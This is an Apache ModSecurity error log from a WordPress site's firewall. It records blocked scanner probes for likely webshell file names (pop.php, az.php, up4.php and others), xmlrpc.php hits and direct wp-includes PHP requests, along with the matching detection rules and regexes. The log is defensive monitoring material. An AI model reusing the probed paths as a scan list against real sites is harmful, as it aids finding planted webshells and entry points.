[Sat Jan 03 03:39:51.031574 2026] [:error] [pid 1930:tid 1990] [client 4.194.208.111:10155] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pop.php"] [unique_id "aVgfB5P-6mqhfUDa89y9zwAAAFg"]
[Sat Jan 03 03:39:51.378709 2026] [:error] [pid 1931:tid 1994] [client 4.194.208.111:10033] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pop.php"] [unique_id "aVgfBx8Tyw7ZoIdXlcbeiAAAAIE"]
[Sat Jan 03 03:39:51.866030 2026] [:error] [pid 1931:tid 2035] [client 4.194.208.111:10037] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pop.php"] [unique_id "aVgfBx8Tyw7ZoIdXlcbeigAAAIs"]
[Sat Jan 03 03:39:52.114937 2026] [:error] [pid 1929:tid 1945] [client 4.194.208.111:9871] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "aVgfCOcFqdpu6TNsuWq08AAAAAc"]
[Sat Jan 03 03:39:52.423857 2026] [:error] [pid 1931:tid 2036] [client 4.194.208.111:10192] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "aVgfCB8Tyw7ZoIdXlcbejgAAAIw"]
[Sat Jan 03 03:39:52.830630 2026] [:error] [pid 1931:tid 2042] [client 4.194.208.111:10083] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "aVgfCB8Tyw7ZoIdXlcbekAAAAJI"]
[Sat Jan 03 03:39:53.044752 2026] [:error] [pid 1931:tid 2027] [client 4.194.208.111:9980] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "aVgfCR8Tyw7ZoIdXlcbekQAAAIQ"]
[Sat Jan 03 03:39:53.335484 2026] [:error] [pid 1929:tid 1952] [client 4.194.208.111:9967] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xaz.php"] [unique_id "aVgfCecFqdpu6TNsuWq08wAAAA4"]
[Sat Jan 03 03:39:53.673634 2026] [:error] [pid 1930:tid 1975] [client 4.194.208.111:9924] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xaz.php"] [unique_id "aVgfCZP-6mqhfUDa89y90QAAAEk"]
[Sat Jan 03 03:39:54.078180 2026] [:error] [pid 1931:tid 2041] [client 4.194.208.111:9936] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xaz.php"] [unique_id "aVgfCh8Tyw7ZoIdXlcbelQAAAJE"]
[Sat Jan 03 03:39:54.509701 2026] [:error] [pid 1930:tid 1966] [client 4.194.208.111:10071] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xaz.php"] [unique_id "aVgfCpP-6mqhfUDa89y90gAAAEA"]
[Sat Jan 03 03:39:54.961242 2026] [:error] [pid 1930:tid 1988] [client 4.194.208.111:9933] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up4.php"] [unique_id "aVgfCpP-6mqhfUDa89y90wAAAFY"]
[Sat Jan 03 03:39:55.230305 2026] [:error] [pid 1931:tid 2048] [client 4.194.208.111:9961] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up4.php"] [unique_id "aVgfCx8Tyw7ZoIdXlcbelgAAAJg"]
[Sat Jan 03 03:39:55.574714 2026] [:error] [pid 1930:tid 1968] [client 4.194.208.111:9909] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up4.php"] [unique_id "aVgfC5P-6mqhfUDa89y91AAAAEI"]
[Sat Jan 03 03:39:56.015674 2026] [:error] [pid 2083:tid 2095] [client 4.194.208.111:10027] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up4.php"] [unique_id "aVgfDDVlR_BmlMPnhV6guwAAAMo"]
[Sat Jan 03 03:39:56.802851 2026] [:error] [pid 2083:tid 2092] [client 4.194.208.111:10190] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1aa.php"] [unique_id "aVgfDDVlR_BmlMPnhV6gvwAAAMc"]
[Sat Jan 03 03:39:57.204818 2026] [:error] [pid 1930:tid 1984] [client 4.194.208.111:10028] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1aa.php"] [unique_id "aVgfDZP-6mqhfUDa89y91QAAAFI"]
[Sat Jan 03 03:39:57.584988 2026] [:error] [pid 1929:tid 1938] [client 4.194.208.111:10058] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1aa.php"] [unique_id "aVgfDecFqdpu6TNsuWq09QAAAAA"]
[Sat Jan 03 03:39:57.977940 2026] [:error] [pid 1929:tid 1944] [client 4.194.208.111:9954] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1aa.php"] [unique_id "aVgfDecFqdpu6TNsuWq09gAAAAY"]
[Sat Jan 03 03:39:58.348896 2026] [:error] [pid 2083:tid 2085] [client 4.194.208.111:9878] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aVgfDjVlR_BmlMPnhV6gxAAAAMA"]
[Sat Jan 03 03:39:58.623118 2026] [:error] [pid 1931:tid 2038] [client 4.194.208.111:9979] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aVgfDh8Tyw7ZoIdXlcbemwAAAI4"]
[Sat Jan 03 03:39:59.020539 2026] [:error] [pid 1931:tid 2047] [client 4.194.208.111:9953] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aVgfDx8Tyw7ZoIdXlcbenQAAAJc"]
[Sat Jan 03 03:39:59.411166 2026] [:error] [pid 1931:tid 2043] [client 4.194.208.111:9923] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aVgfDx8Tyw7ZoIdXlcbenwAAAJM"]
[Sat Jan 03 03:39:59.842514 2026] [:error] [pid 1931:tid 2027] [client 4.194.208.111:9952] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtz.php"] [unique_id "aVgfDx8Tyw7ZoIdXlcbeoAAAAIQ"]
[Sat Jan 03 03:40:00.584842 2026] [:error] [pid 2083:tid 2094] [client 4.194.208.111:9977] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtz.php"] [unique_id "aVgfEDVlR_BmlMPnhV6gyAAAAMk"]
[Sat Jan 03 03:40:00.932970 2026] [:error] [pid 1929:tid 1960] [client 4.194.208.111:10094] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtz.php"] [unique_id "aVgfEOcFqdpu6TNsuWq0_gAAABY"]
[Sat Jan 03 03:40:01.177084 2026] [:error] [pid 34260:tid 34269] [client 4.194.208.111:9976] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtz.php"] [unique_id "aVgfEUWWhyvZ0O9KNVRvEQAAAQc"]
[Sat Jan 03 03:40:01.559325 2026] [:error] [pid 34260:tid 34282] [client 4.194.208.111:10044] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galex.php"] [unique_id "aVgfEUWWhyvZ0O9KNVRvEwAAARQ"]
[Sat Jan 03 03:40:01.949565 2026] [:error] [pid 1931:tid 2030] [client 4.194.208.111:9935] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galex.php"] [unique_id "aVgfER8Tyw7ZoIdXlcbeqwAAAIY"]
[Sat Jan 03 03:40:02.358662 2026] [:error] [pid 1929:tid 1940] [client 4.194.208.111:9964] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galex.php"] [unique_id "aVgfEucFqdpu6TNsuWq0_wAAAAI"]
[Sat Jan 03 03:40:02.639438 2026] [:error] [pid 1931:tid 2032] [client 4.194.208.111:9826] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galex.php"] [unique_id "aVgfEh8Tyw7ZoIdXlcberQAAAIg"]
[Sat Jan 03 03:40:02.929335 2026] [:error] [pid 34260:tid 34267] [client 4.194.208.111:10005] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xb.php"] [unique_id "aVgfEkWWhyvZ0O9KNVRvGAAAAQU"]
[Sat Jan 03 03:40:03.271747 2026] [:error] [pid 1930:tid 1982] [client 4.194.208.111:9857] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xb.php"] [unique_id "aVgfE5P-6mqhfUDa89y91gAAAFA"]
[Sat Jan 03 03:40:03.659287 2026] [:error] [pid 1931:tid 1994] [client 4.194.208.111:9966] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xb.php"] [unique_id "aVgfEx8Tyw7ZoIdXlcbesQAAAIE"]
[Sat Jan 03 03:40:04.011442 2026] [:error] [pid 34260:tid 34262] [client 4.194.208.111:9946] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xb.php"] [unique_id "aVgfFEWWhyvZ0O9KNVRvGwAAAQA"]
[Sat Jan 03 03:40:04.305221 2026] [:error] [pid 34260:tid 34273] [client 4.194.208.111:10020] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ova.php"] [unique_id "aVgfFEWWhyvZ0O9KNVRvHQAAAQs"]
[Sat Jan 03 03:40:04.610615 2026] [:error] [pid 1931:tid 2037] [client 4.194.208.111:9937] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ova.php"] [unique_id "aVgfFB8Tyw7ZoIdXlcbetAAAAI0"]
[Sat Jan 03 03:40:04.864402 2026] [:error] [pid 1929:tid 1958] [client 4.194.208.111:10018] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ova.php"] [unique_id "aVgfFOcFqdpu6TNsuWq1AAAAABQ"]
[Sat Jan 03 03:40:05.118162 2026] [:error] [pid 34260:tid 34278] [client 4.194.208.111:9904] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ova.php"] [unique_id "aVgfFUWWhyvZ0O9KNVRvHgAAARA"]
[Sat Jan 03 03:40:05.407801 2026] [:error] [pid 1930:tid 1971] [client 4.194.208.111:9865] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aVgfFZP-6mqhfUDa89y91wAAAEU"]
[Sat Jan 03 03:40:05.672967 2026] [:error] [pid 34260:tid 34280] [client 4.194.208.111:9908] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aVgfFUWWhyvZ0O9KNVRvHwAAARI"]
[Sat Jan 03 03:40:05.991489 2026] [:error] [pid 1930:tid 1976] [client 4.194.208.111:10091] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aVgfFZP-6mqhfUDa89y92AAAAEo"]
[Sat Jan 03 03:40:06.298382 2026] [:error] [pid 1929:tid 1954] [client 4.194.208.111:9916] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aVgfFucFqdpu6TNsuWq1AgAAABA"]
[Sat Jan 03 03:40:06.522226 2026] [:error] [pid 1929:tid 1956] [client 4.194.208.111:9972] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aVgfFucFqdpu6TNsuWq1AwAAABI"]
[Sat Jan 03 03:40:07.030921 2026] [:error] [pid 34260:tid 34271] [client 4.194.208.111:9882] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aVgfF0WWhyvZ0O9KNVRvIAAAAQk"]
[Sat Jan 03 03:40:07.622838 2026] [:error] [pid 34260:tid 34269] [client 4.194.208.111:10022] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aVgfF0WWhyvZ0O9KNVRvIgAAAQc"]
[Sat Jan 03 03:40:08.056856 2026] [:error] [pid 1930:tid 1981] [client 4.194.208.111:10154] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aVgfGJP-6mqhfUDa89y92gAAAE8"]
[Sat Jan 03 06:30:03.997350 2026] [:error] [pid 34260:tid 34286] [client 104.215.18.38:39770] [client 104.215.18.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.215.18.38, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aVhG60WWhyvZ0O9KNVTK1wAAARg"], referer: https://www.google.co.uk/
[Sat Jan 03 06:30:04.121197 2026] [:error] [pid 1930:tid 1973] [client 104.215.18.38:39768] [client 104.215.18.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.215.18.38, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/index.php/xmlrpc.php"] [unique_id "aVhG7JP-6mqhfUDa89z7_gAAAEc"], referer: https://www.google.co.uk/
[Sat Jan 03 06:30:08.671871 2026] [:error] [pid 34260:tid 34272] [client 104.215.18.38:39770] [client 104.215.18.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aVhG8EWWhyvZ0O9KNVTK6wAAAQo"], referer: https://www.google.fr/
[Sat Jan 03 06:30:08.922094 2026] [:error] [pid 2083:tid 2109] [client 104.215.18.38:39794] [client 104.215.18.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/fields/index.php"] [unique_id "aVhG8DVlR_BmlMPnhV7plgAAANg"], referer: https://duckduckgo.com/
[Sat Jan 03 06:30:09.163340 2026] [:error] [pid 2083:tid 2106] [client 104.215.18.38:39789] [client 104.215.18.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aVhG8TVlR_BmlMPnhV7pmQAAANU"], referer: https://www.google.co.uk/
[Sat Jan 03 06:30:09.404351 2026] [:error] [pid 1929:tid 1949] [client 104.215.18.38:39793] [client 104.215.18.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aVhG8ecFqdpu6TNsuWrutQAAAAs"], referer: https://www.bing.com/
[Sat Jan 03 06:30:09.645004 2026] [:error] [pid 1930:tid 1990] [client 104.215.18.38:39790] [client 104.215.18.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aVhG8ZP-6mqhfUDa89z8IAAAAFg"], referer: https://duckduckgo.com/
[Sat Jan 03 06:30:09.885212 2026] [:error] [pid 1929:tid 1950] [client 104.215.18.38:39796] [client 104.215.18.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aVhG8ecFqdpu6TNsuWrutgAAAAw"], referer: https://duckduckgo.com/
